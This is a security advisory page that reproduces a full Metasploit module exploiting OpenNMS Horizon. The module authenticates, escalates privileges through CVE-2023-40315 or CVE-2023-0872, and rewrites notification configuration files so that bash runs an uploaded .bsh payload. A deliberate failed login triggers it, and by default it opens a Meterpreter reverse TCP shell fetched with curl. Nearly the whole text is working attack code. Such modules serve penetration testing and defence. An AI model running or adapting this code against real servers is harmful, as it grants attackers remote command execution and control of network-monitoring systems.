OpenNMS Horizon 31.0.7 Remote Command Execution

2024.03.24
Credit: Erik Wynter
Risk: High
Local: No
Remote: Yes
CWE: CWE-78

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'OpenNMS Horizon Authenticated RCE', 'Description' => %q{ This module exploits built-in functionality in OpenNMS Horizon in order to execute arbitrary commands as the opennms user. For versions 32.0.2 and higher, this module requires valid credentials for a user with ROLE_FILESYSTEM_EDITOR privileges and either ROLE_ADMIN or ROLE_REST. For versions 32.0.1 and lower, credentials are required for a user with ROLE_FILESYSTEM_EDITOR, ROLE_REST, and/or ROLE_ADMIN privileges. In that case, the module will automatically escalate privileges via CVE-2023-40315 or CVE-2023-0872 if necessary. This module has been successfully tested against OpenNMS version 31.0.7 }, 'License' => MSF_LICENSE, 'Author' => [ 'Erik Wynter' # @wyntererik - Discovery and Metasploit ], 'References' => [ ['CVE', '2023-40315'], # CVE for privilege escalation via ROLE_FILESYSTEM_EDITOR in OpenNMS Horizon before 32.0.2 ['CVE', '2023-0872'], # CVE for privilege escalation via ROLE_REST in OpenNMS Horizon before 32.0.2 ], 'Platform' => 'linux', 'Arch' => 'ARCH_CMD', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp', 'RPORT' => 8980, 'SRVPORT' => 8080, 'FETCH_COMMAND' => 'CURL', 'FETCH_FILENAME' => Rex::Text.rand_text_alpha(2..4), 'FETCH_WRITABLE_DIR' => '/tmp', 'FETCH_SRVPORT' => 8081, 'WfsDelay' => 15 # It takes a while for the payload to execute }, 'Targets' => [ [ 'Linux', {} ] ], 'DefaultTarget' => 0, 'Privileged' => true, 'DisclosureDate' => '2023-07-01', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('TARGETURI', [true, 'The base path to OpenNMS', '/opennms/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', 'admin']) ] register_advanced_options [ OptInt.new('PRIVESC_SAVE_DELAY', [true, 'The time in seconds to wait for privesc changes to go into effect.', 3]) ] end def username datastore['USERNAME'] end def password datastore['PASSWORD'] end def privesc_save_delay datastore['PRIVESC_SAVE_DELAY'] end def notification_commands_file 'notificationCommands.xml' end def destination_paths_file 'destinationPaths.xml' end def notifications_file 'notifications.xml' end def users_file 'users.xml' end def check # Try to authenticate success, msg_or_check_code = opennms_login('check') return msg_or_check_code unless success vprint_status(msg_or_check_code) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.jsp'), 'keep_cookies' => true }) unless res return CheckCode::Unknown('Connection failed.') end # If we are authenticating as a user without dashboard privileges, the response code will be 403, so we can't use this # Instead, we should simply check if the HTLM body includes the expected title and version information unless res.get_html_document.xpath('//title').text.include?('OpenNMS Web Console') return CheckCode::Detected('Failed to access the OpenNMS Web Console after authentication.') end # Based on the version history (https://www.opennms.com/version-history/) all OpenNMS Horizon versions follow the \d+\.\d+\.\d+ pattern version = res.body.scan(/- Version: (\d+\.\d+\.\d+)$/)&.flatten&.first if version.blank? return CheckCode::Detected('Failed to obtain a valid OpenNMS version.') end begin rex_version = Rex::Version.new(version) rescue ArgumentError => e return CheckCode::Unknown("Failed to obtain a valid OpenNMS version: #{e}") end if rex_version < Rex::Version.new('32.0.2') print_status("The target is OpenNMS version #{version} and is likely vulnerable to CVE-2023-40315 and CVE-2023-0872.") else print_status("The target is OpenNMS version #{version}.") end # Check if we can access the user configuration file. There are two ways to do this: # - Via the /rest/users endpoint. This is possible only for users with ROLE_ADMIN and ROLE_REST privileges. # - Via /rest/filesystem/contents?f=users.xml. This is possible only for users with ROLE_FILESYSTEM_EDITOR privileges. # If neither of these work for us, RCE won't be possible. success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check', filesystem: false) # try the REST endpoint first unless success success, xml_doc_or_check_code = grab_and_parse_xml_config_file(users_file, 'users', 'user', 'check') # try the filesystem endpoint next return xml_doc_or_check_code unless success # in this case xml_doc_or_check_code is a CheckCode so we can return it directly end # Extract the privileges of the current user success, privs_or_check_code = grab_user_privs(xml_doc_or_check_code, 'check') return privs_or_check_code unless success # Successful exploitation requires the user to have FILESYSTEM_EDITOR privileges as well as either REST or ADMIN privileges if privs_or_check_code.include?('ROLE_FILESYSTEM_EDITOR') if privs_or_check_code.include?('ROLE_REST') || privs_or_check_code.include?('ROLE_ADMIN') # We don't need to escalate privileges here @highest_priv = 'GOD' return CheckCode::Appears("User #{username} has the required privileges for exploitation to work without privilege escalation.") end @highest_priv = 'ROLE_FILESYSTEM_EDITOR' elsif privs_or_check_code.include?('ROLE_ADMIN') @highest_priv = 'ROLE_ADMIN' return CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via privilege escalation to ROLE_FILESYSTEM_EDITOR.") elsif privs_or_check_code.include?('ROLE_REST') @highest_priv = 'ROLE_REST' else return CheckCode::Safe("User #{username} does not have the required privileges for exploitation to work.") end # If we are here, we have ROLE_FILESYSTEM_EDITOR privileges or ROLE_REST privileges, but not both and not ROLE_ADMIN # This means that privilege escalation is required, which can work only if the OpenNMS version is 32.0.1 or lower if rex_version >= Rex::Version.new('32.0.2') return CheckCode::Detected("Exploitation requires privilege escalation, which is not possible for OpenNMS version #{version}.") end cve = if @highest_priv == 'ROLE_FILESYSTEM_EDITOR' 'CVE-2023-40315' else 'CVE-2023-0872' end CheckCode::Appears("User #{username} has #{@highest_priv} privileges. Exploitation is likely possible via #{cve}.") end # This method is use to handle failures based on the stage of the exploit # # @param mode [String] The mode to use: check, exploit or cleanup # @param message [String] The message to display to the user # @param status [String] The status to use: disconnected, unexpected_reply or no_access # @return [Array] An array containing a boolean and a CheckCode or message def deal_with_failure_by_mode(mode, message, status) return [false, "#{message}. Manual cleanup is required."] if mode == 'cleanup' case status when 'disconnected' return [false, CheckCode::Unknown(message)] if mode == 'check' fail_with(Failure::Disconnected, message) when 'unexpected_reply' return [false, CheckCode::Unknown(message)] if mode == 'check' fail_with(Failure::UnexpectedReply, message) when 'no_access' return [false, CheckCode::Safe(message)] if mode == 'check' fail_with(Failure::NoAccess, message) end end # This method is used to perform a login attempt # # @param mode [String] The mode to use: check, exploit or cleanup # @param perform_invalid_login [Boolean] Whether to perform a login attempt with random credentials or not # @return [Array] An array containing a boolean and a CheckCode or message def opennms_login(mode, perform_invalid_login: false) if perform_invalid_login user = Rex::Text.rand_text_alpha(8..12) pass = Rex::Text.rand_text_alpha(8..12) keep_cookies = false else user = username pass = password keep_cookies = true res1 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.jsp'), 'keep_cookies' => keep_cookies }) unless res1 return deal_with_failure_by_mode(mode, 'Connection failed.', 'disconnected') end unless res1.code == 200 && res1.get_html_document.xpath('//title').text.include?('OpenNMS Web Console') msg = if mode == 'check' 'Target is not an OpenNMS application.' else 'Received unexpected response while attempting to access the OpenNMS Web Console.' end return deal_with_failure_by_mode(mode, msg, 'unexpected_reply') end end # Try to authenticate res2 = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), 'keep_cookies' => keep_cookies, 'vars_post' => { 'j_username' => user, 'j_password' => pass } }) unless res2 if perform_invalid_login return [false, "Connection failed while attempting to trigger the notification. The payload likely wasn't executed."] else return deal_with_failure_by_mode(mode, 'Connection failed while attempting to authenticate.', 'disconnected') end end unless res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') if perform_invalid_login return [true, 'Received expected response while triggering the payload. Please be patient, it may take a few seconds for the payload to execute.'] else message = if mode == 'check' 'Authentication failed. Please check your credentials.' else 'Received unexpected response while attempting to authenticate.' end return deal_with_failure_by_mode(mode, message, 'unexpected_reply') end end # Authentication was successful if perform_invalid_login return [false, "Received unexpected response while attempting to trigger the notification. The payload likely wasn't executed."] end [true, 'Successfully authenticated'] end # This method is used to obtain and parse an XML configuration file from the target via the filesystem endpoint # # @param file_name [String] The name of the file to obtain # @param root_element [String] The name of the root element in the XML file # @param element [String] The name of the element to obtain from the XML file # @param mode [String] The mode to use: check, exploit or cleanup. This is used to determine how to proceed upon failure # @param filesystem [Boolean] Whether to use the filesystem endpoint or not. If not, the file_name will be used as the REST endpoint # @return [Array] An array containing a boolean and either a CheckCode, a message or a Nokogiri::XML::Document def grab_and_parse_xml_config_file(file_name, root_element, element, mode, filesystem: true) request_hash = { 'method' => 'GET', 'keep_cookies' => true } if filesystem request_hash['uri'] = normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents') request_hash['vars_get'] = { 'f' => file_name } else request_hash['uri'] = normalize_uri(target_uri.path, 'rest', file_name) end # Try to obtain the file res = send_request_cgi(request_hash) unless res return deal_with_failure_by_mode(mode, "Connection failed while attempting to obtain the current #{file_name} file.", 'disconnected') end # when using the filesystem endpoint to obtain the users.xml file, the root element is userinfo, which contains the users element if file_name == users_file if filesystem filesystem_root_element = 'userinfo' else filesystem_root_element = 'users' end else filesystem_root_element = root_element end unless res.code == 200 && res.body.strip.end_with?("</#{filesystem_root_element}>") return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to obtain the #{file_name} file. User #{username} my lack the required privileges.", 'unexpected_reply') end # Parse the file begin doc = Nokogiri::XML(res.body) elements = doc&.at_css(root_element)&.css(element)&.map { |e| e&.text } rescue Nokogiri::XML::SyntaxError => e return deal_with_failure_by_mode(mode, "Failed to parse the #{file_name} file: #{e}", 'unexpected_reply') end if elements.blank? return deal_with_failure_by_mode(mode, "No #{element} elements were found in the #{file_name} file.", 'unexpected_reply') end [true, doc] end # This method is used to obtain the privileges of a user from the users.xml file # # @param xml_doc [Nokogiri::XML::Document] The XML document containing the users # @param mode [String] The mode to use: check, exploit or cleanup # @return [Array] An array containing a boolean and a CheckCode, message, or an array of privileges def grab_user_privs(xml_doc, mode) privileges = [] begin user = xml_doc&.at_css('users')&.css('user')&.find { |u| u.at_css('user-id')&.text == username } if user.blank? return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. User #{username} was not found.", 'unexpected_reply') end privileges = user.css('role')&.map { |r| r&.text } if privileges.blank? return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file. No roles were found for user #{username}.", 'unexpected_reply') end rescue Nokogiri::XML::SyntaxError => e return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file: #{e}", 'unexpected_reply') end vprint_status("User #{username} has the following privileges: #{privileges.join(' ')}") [true, privileges] end # This method is used to escalate or deescalate privileges # # @param deescalate [Boolean] Whether to escalate or deescalate privileges # @return [Array] An array containing a boolean and a CheckCode or message def escalate_or_deescalate_privs(deescalate: false) # Establish some variables based on if we need to escalate or deescalate privileges if deescalate use_filesystem = @role_to_add != 'ROLE_FILESYSTEM_EDITOR' mode = 'cleanup' else use_filesystem = @highest_priv == 'ROLE_FILESYSTEM_EDITOR' mode = 'exploit' end # grab and parse the users.xml file success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem) return [false, xml_doc_or_msg] unless success # Get the privileges of the current user as a sanity check success, privileges_or_msg = grab_user_privs(xml_doc_or_msg, mode) return [false, privileges_or_msg] unless success # if we are here to remove privileges, check if we actually have the privileges we want to remove. return otherwise if deescalate && privileges_or_msg.exclude?(@role_to_add) return [false, 'Did not find the required privileges to deescalate. Manual cleanup may be required.'] end # if we need to escalate privileges, check if we already have the privileges we want to escalate to. return otherwise unless deescalate if use_filesystem if privileges_or_msg.include?('ROLE_ADMIN') || privileges_or_msg.include?('ROLE_REST') # We don't need to escalate privileges here @highest_priv = 'GOD' return [true] end @role_to_add = 'ROLE_ADMIN' else if privileges_or_msg.include?('ROLE_FILESYSTEM_EDITOR') # We don't need to escalate privileges here @highest_priv = 'GOD' return [true] end @role_to_add = 'ROLE_FILESYSTEM_EDITOR' end end # Add or remove the required role to the current user if use_filesystem # If we have ROLE_FILESYSTEM_EDITOR privileges, we can use the filesystem endpoint to add or remove the required role begin user = xml_doc_or_msg.at_css('users').css('user').find { |u| u.at_css('user-id')&.text == username } if user.blank? message = "Did not find the current user in the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges." return deal_with_failure_by_mode(mode, message, 'unexpected_reply') end if deescalate role = user.css('role').find { |r| r.text == @role_to_add } if role.blank? return [false, 'Failed to parse the users.xml file while attempting to deescalate privileges. Manual cleanup is required.'] end role.remove else user.add_child(xml_doc_or_msg.create_element('role', @role_to_add)) end rescue Nokogiri::XML::SyntaxError => e return deal_with_failure_by_mode(mode, "Failed to parse the users.xml file while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges: #{e}", 'unexpected_reply') end # upload the edited users.xml file via the filesystem endpoint success, message = upload_xml_config_file(users_file, generate_post_data(users_file, xml_doc_or_msg.to_xml(indent: 3)), mode) unless deescalate # If we have escalated privileges via the filesystem, we need to wait a few seconds for the changes to be saved print_status("Waiting #{privesc_save_delay} seconds for the changes to be saved...") sleep(privesc_save_delay) end return [false, message] unless success # this is only used for cleanup. for exploit this cannot happen else # If we do not have FILESYSTEM_EDITOR privileges, we can use the REST endpoint to do this # /users/{username}/roles/{rolename} with PUT to add a role and DELETE to remove a role res = send_request_cgi({ 'method' => deescalate ? 'DELETE' : 'PUT', 'uri' => normalize_uri(target_uri.path, 'rest', 'users', username, 'roles', @role_to_add), 'keep_cookies' => true }, 2) # for some reason the server does not send a response when this request is performed via Ruby, but it does tend to work. When sending the same request via Burp suite, the server did respond. # 204 = no content, 304 = not modified. 204 indicates success, 304 indicates that the role was already added/removed if res && ![204, 304].include?(res.code) return deal_with_failure_by_mode(mode, "Received unexpected reply while attempting to #{deescalate ? 'deescalate' : 'escalate'} privileges", 'unexpected_reply') end end # Get the users.xml file again to make sure our changes were saved success, xml_doc_or_msg = grab_and_parse_xml_config_file(users_file, 'users', 'user', mode, filesystem: use_filesystem) return [false, xml_doc_or_msg] unless success # this is only used for cleanup. for exploit this cannot happen # Get the privileges of the current user again to make sure our changes were saved success, privs_or_msg = grab_user_privs(xml_doc_or_msg, mode) return [false, privs_or_msg] unless success # Check if our changes were saved if deescalate if privs_or_msg.include?(@role_to_add) return [false, 'Failed to deescalate privileges. Manual cleanup is required.'] end return [true, "Successfully deescalated privileges by removing #{@role_to_add}"] end # If we are here, we are escalating privileges unless privs_or_msg.include?(@role_to_add) fail_with(Failure::UnexpectedReply, 'Failed to escalate privileges') end @highest_priv = 'GOD' [true, "Successfully escalated privileges by adding #{@role_to_add}"] end # This method is used to generate the XML document that will be used to add a notification command # # @param file_name [String] The name of the file to upload # @param xml_doc [Nokogiri::XML::Document] The XML document to upload # @return [Rex::MIME::Message] The post data def generate_post_data(file_name, data_to_write) post_data = Rex::MIME::Message.new post_data.add_part(data_to_write, 'text/xml', nil, "form-data; name=\"upload\"; filename=\"#{file_name}\"") post_data end # This method is used to upload an XML configuration file to the target # # @param file_name [String] The name of the file to upload # @param post_data [Rex::MIME::Message] The post data to upload # @param mode [String] The mode to use: exploit or cleanup # @return [Array] An array containing a boolean and an optional message def upload_xml_config_file(file_name, post_data, mode = 'exploit') # upload the edited notificationCommands.xml file res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), 'vars_get' => { 'f' => file_name }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'keep_cookies' => true, 'data' => post_data.to_s }) unless res return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected') end unless res.code == 200 && res.body.include?('Successfully wrote to') return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply') end [true] end def find_element_via_at_css(file_name) if [destination_paths_file, notifications_file].include?(file_name) return false end true end # This method is used to edit an XML configuration file # # @param file_name [String] The name of the file to edit # @param root_element [String] The name of the root element in the XML file # @param element [String] The name of the element to edit in the XML file def edit_xml_config_file(file_name, root_element, element) # First we need to get the current #{file_name} file, so we can edit our #{element_name} in it _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit') # update the xml document with a new element new_value = Rex::Text.rand_text_alpha(8..12) case file_name when notification_commands_file xml_doc = add_notification_command(xml_doc, new_value) when destination_paths_file xml_doc = add_destination_path(xml_doc, new_value) when notifications_file xml_doc = add_notification(xml_doc, new_value) end # upload the edited #{file_name} file via the filesystem endpoint upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit') # generate global variables for cleanup case file_name when notification_commands_file @notification_command_name = new_value when destination_paths_file @destination_path_name = new_value when notifications_file @notification_name = new_value end # Get the #{file_name} file again to make sure our #{element_name} was edited _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit') # Check if our #{element_name} was edited if find_element_via_at_css(file_name) full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value } else full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value } end if full_element.blank? fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited") end print_status("Successfully edited #{file_name}") end # This method is used to add a notification command to a Nokogiri XML document # # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to # @param notification_command_name [String] The name of the notification command to add # @return [Nokogiri::XML::Document] The updated XML document def add_notification_command(xml_doc, notification_command_name) # A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload. # Update the xml document with a new notification command notification_comment = Rex::Text.rand_text_alpha(6..10) notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed name = xml_doc.create_element('name', notification_command_name) execute = xml_doc.create_element('execute', '/usr/bin/bash') comment = xml_doc.create_element('comment', notification_comment) argument = xml_doc.create_element('argument', 'streamed' => 'false') argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}") argument.add_child(argument_switch) notification_command.add_child(name) notification_command.add_child(execute) notification_command.add_child(comment) notification_command.add_child(argument) xml_doc.at_css('notification-commands').add_child(notification_command) xml_doc end # This method is used to add a destination path to a Nokogiri XML document # # @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to # @param destination_path_name [String] The name of the destination path to add # @return [Nokogiri::XML::Document] The updated XML document def add_destination_path(xml_doc, destination_path_name) # A destination path points to a specific group or user that will receive a notification when a notification is triggered. # It also indicates which notification command should be executed when the notification is triggered. # We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered. # Update the xml document with a new destination path destination_path = xml_doc.create_element('path', 'name' => destination_path_name) target = xml_doc.create_element('target') name = xml_doc.create_element('name', 'Admin') command = xml_doc.create_element('command', @notification_command_name) target.add_child(name) target.add_child(command) destination_path.add_child(target) xml_doc.at_css('destinationPaths').add_child(destination_path) xml_doc end # This method is used to add a notification to a Nokogiri XML document # # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to # @param notification_name [String] The name of the notification to add # @return [Nokogiri::XML::Document] The updated XML document def add_notification(xml_doc, notification_name) # A notification is triggered when a specific event occurs, and can be configured to call a specific destination path. # We need to add a notification that will trigger our destination path so that our notification command gets executed. # Update the xml document with a new notification that will be triggered when a user fails to authenticate # since that is something we can easily trigger ourselves notification_message = Rex::Text.rand_text_alpha(6..10) notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on') uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure') # We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737) rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'") destination_path = xml_doc.create_element('destinationPath', @destination_path_name) text_message = xml_doc.create_element('text-message', notification_message) notification.add_child(uei) notification.add_child(rule) notification.add_child(destination_path) notification.add_child(text_message) xml_doc.at_css('notifications').add_child(notification) xml_doc end # This method is used to remove an element from an XML configuration file # # @param file_name [String] The name of the file to remove the element from # @param root_element [String] The name of the root element in the XML file # @param element [String] The name of the element to remove from the XML file # @param element_to_remove [String] The name of the element to remove from the XML file def revert_xml_config_file(file_name, root_element, element, element_to_remove) # First we need to get the current #{file_name} file, so we can remove our #{element_name} from it success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup') unless success print_error(xml_doc_or_msg) return end begin if find_element_via_at_css(file_name) full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove } else full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove } end unless full_element.present? print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required") return end full_element.remove rescue Nokogiri::XML::SyntaxError print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.") return end # generate post data post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3)) success, message = upload_xml_config_file(file_name, post_data, 'cleanup') unless success print_error(message) return end # Get the #{file_name} file again to make sure our #{element_name} was removed success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup') unless success print_error(xml_doc_or_msg) return end # Check if our #{element_name} was removed if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove) print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.") else vprint_status("Successfully removed #{element_to_remove} from #{file_name}") end end # This method is used to trigger a reload of the OpenNMS configuration # # @param mode [String] The mode to use: exploit or cleanup # @return [Array] An array containing a boolean and a message def update_configuration(mode) # We need to update the configuration in order for our changes to take effect xml_doc = Nokogiri::XML::Builder.new do |xml| xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do xml.uei('uei.opennms.org/internal/reloadDaemonConfig') xml.source('perl_send_event') xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z')) xml.host(Rex::Text.rand_text_alpha(8..12)) xml.parms do xml.parm do xml.parmName('daemonName') xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' }) end end end end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'events'), 'ctype' => 'application/xml', 'keep_cookies' => true, 'data' => xml_doc.to_xml(indent: 3) }) unless res message = 'Connection failed while attempting to update the configuration.' message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup' return deal_with_failure_by_mode(mode, message, 'disconnected') end unless res.code == 202 message = 'Received unexpected response while attempting to update the configuration.' message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup' return deal_with_failure_by_mode(mode, message, 'unexpected_reply') end [true, 'Successfully updated the configuration'] end # This method is used to write the payload to a .bsh file and trigger the notification # # @param cmd [String] The command to execute def write_payload_to_bsh_file(cmd) # We need to write our payload to a .bsh file so that it can be executed by the notification command post_data = generate_post_data(@payload_file_name, cmd) res1 = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), 'vars_get' => { 'f' => @payload_file_name }, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", 'keep_cookies' => true, 'data' => post_data.to_s }) unless res1 fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file') end unless res1.code == 200 && res1.body.include?('Successfully wrote to') fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file') end # Get the payload file again to make sure it was uploaded successfully res2 = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), 'vars_get' => { 'f' => @payload_file_name }, 'keep_cookies' => true }) unless res2 fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file') end unless res2.code == 200 && res2.body == cmd fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded') end print_good("Successfully uploaded the payload to #{@payload_file_name}") @payload_written = true end def execute_command(cmd, _opts = {}) # Write the payload to a .bsh file write_payload_to_bsh_file(cmd) print_status('Triggering the notification to execute the payload') # Trigger the notification by performing a login attempt using random credentials success, message = opennms_login('exploit', perform_invalid_login: true) if success print_status(message) else print_error(message) end end # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on. # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html def ensure_notifications_enabled res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.jsp'), 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty? vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...') res2 = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'), 'keep_cookies' => true, 'vars_post' => { 'status' => 'on' } }) fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp') end vprint_good('Notifications are enabled') end def exploit # Check if we need to escalate privileges if @highest_priv && @highest_priv != 'GOD' # This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best. _success, msg = escalate_or_deescalate_privs print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already end # Let's make sure we have a valid session by clearing the cookie jar and logging in again # This will also ensure that any new privileges we may have added are applied cookie_jar.clear _success, message = opennms_login('exploit') vprint_status(message) # _success will always be true here, otherwise we would have failed already # Check to ensure Notifications are turned on. If they are disabled, enable them. ensure_notifications_enabled # Generate a random payload file name @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase # Add a notification command edit_xml_config_file(notification_commands_file, 'notification-commands', 'command') # Add a destination path edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path') # Add a notification edit_xml_config_file(notifications_file, 'notifications', 'notification') # Update the configuration changes we made update_configuration('exploit') # Write the payload and trigger the notification execute_command(payload.encoded) end def cleanup return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?) print_status('Attempting cleanup...') # to be on the safe side, we'll clear the cookie jar and log in again cookie_jar.clear success, message = opennms_login('cleanup') if success vprint_status(message) else print_error(message) return end # Delete the payload file if @payload_file_name.present? && @payload_written res = send_request_cgi({ 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'), 'vars_get' => { 'f' => @payload_file_name }, 'keep_cookies' => true }) unless res print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.") return end unless res.code == 200 && res.body.include?('Successfully deleted') print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.") return end vprint_good("Successfully deleted the payload file #{@payload_file_name}") end # Delete the notification revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present? # Delete the destination path revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present? # Delete the notification command revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present? # Update the configuration changes we made success, message = update_configuration('cleanup') if success vprint_status(message) else print_error(message) end # Revert the privilege escalation if necessary if @role_to_add.present? success, message = escalate_or_deescalate_privs(deescalate: true) if success vprint_status(message) else print_error(message) end end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top